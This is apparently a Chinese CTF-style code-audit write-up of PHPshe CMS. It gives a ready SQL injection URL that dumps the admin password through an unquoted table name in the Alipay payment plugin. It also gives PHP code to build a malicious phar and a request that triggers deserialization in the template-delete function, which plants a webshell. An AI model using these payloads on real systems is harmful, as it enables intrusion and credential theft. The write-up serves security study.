知识点: phpshe cms 代码审计(代码对比,phar 反序列化,sql突破安全函数)
前台 sql 注入 获取密码
先看一下它对参数做了什么处理(common.php),在参数前加上了 _g_
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
在 include/function/global.func.php
中的 pe_dbhold
是防 sql
注入的,对字符串或者数组调用 addslashes() 转义,把一些字符实体化。
突破安全函数常见的有如下几种情况:
1. 不需要单引号的注入点 2. 数组的键名带入SQL语句中 3. 宽字节等可吃掉反斜线。
function pe_dbhold($str, $exc=array())
{
if (is_array($str)) {
foreach($str as $k => $v) {
$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
}
}
else {
//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
}
return $str;
}
入口文件位于 include/plugin/payment/alipay/pay.php
,$_GET['id']
经过 pe_dbhold()
函数处理后赋值给 $order_id
,然后 $order_id
被带入 order_table()
函数。
$order_id = pe_dbhold($_g_id);
$order_id = intval($order_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
hook/order.hook.php
下的 order_table
判断表名中有没有下划线,若有则取下划线前一部分,加到 order_
后面,若没有则直接返回 order
,这边的表名我们能控制一部分
function order_table($id) {
if (stripos($id, '_') !== false) {
$id_arr = explode('_', $id);
return "order_{$id_arr[0]}";
}
else {
return "order";
}
}
\source\include\class\db.class.php
下的 pe_select
执行 sql 语句,且这边的表名没有用单引号,所以可以绕过 addslashes
,我们只要闭合一下就可以 sql 注入了,这边为了防止报错,最好找一个表名中有 order_
,这里只有 pe_order_pay
符合。
public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
payload:查询admin密码
/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_
账号密码:admin/altman777
反序列化
这边学到了一个新的思路,可以用 Diffinity
把题目的源码和 PHPshe
官网的源码进行对比,在 /include/class/pclzip.class.php
的 PclZip
类中加了一个析构函数。
可以直接反序列化然后解压文件,且路径可控,那么我们只要上传一个压缩后的 webshell
,并控制解压文件的路径到可访问的目录就可以获得 webshell
,那么在哪边反序列化呢?
在 moban.php
的 del
功能下调用了 pe_dirdel
,而 pe_dirdel
里面的 is_file
可以触发 phar
反序列化。(注意:是需要 token
的)
case 'del':
pe_token_match();
$tpl_name = pe_dbhold($_g_tpl);
if ($tpl_name == 'default') pe_error('默认模板不能删除...');
if ($db->pe_num('setting', array('setting_key'=>'web_tpl', 'setting_value'=>$tpl_name))) {
pe_error('使用中不能删除');
}
else {
pe_dirdel("{$tpl_name}");
pe_success('删除成功!');
}
function pe_dirdel($dir_path)
{
$dir_path = str_replace("..", " ", $dir_path);
if (is_file($dir_path)) {
#unlink($dir_path);
}
else {
$dir_arr = glob(trim($dir_path).'/*');
if (is_array($dir_arr)) {
foreach ($dir_arr as $k => $v) {
pe_dirdel($v, $type);
}
}
#rmdir($dir_path);
}
}
构造 phar
文件,只需要改 zipname
和 save_path
属性,其他的照搬,最后把 phar
后缀改为 phar.txt
,上传到品牌管理。
<?php
class PclZip{
var $zipname = '';
var $zip_fd = 0;
var $error_code = 1;
var $error_string = '';
var $magic_quotes_status;
var $save_path = '/var/www/html/data';
function __construct($p_zipname){
$this->zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;
return;
}
}
$a=new PclZip("/var/www/html/data/attachment/brand/1.zip");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
上传后的文件名为 ID号.xxx
payload:
在 moban 的 del 处触发 phar,把压缩后的 webshell 解压到 data/xxx.php
admin.php?mod=moban&act=del&token=c740493955d5ca97a92ffee76d5938cc&tpl=phar:///var/www/html/data/attachment/brand/2.txt
reference
https://anquan.baidu.com/article/697
https://blog.csdn.net/mochu7777777/article/details/107550135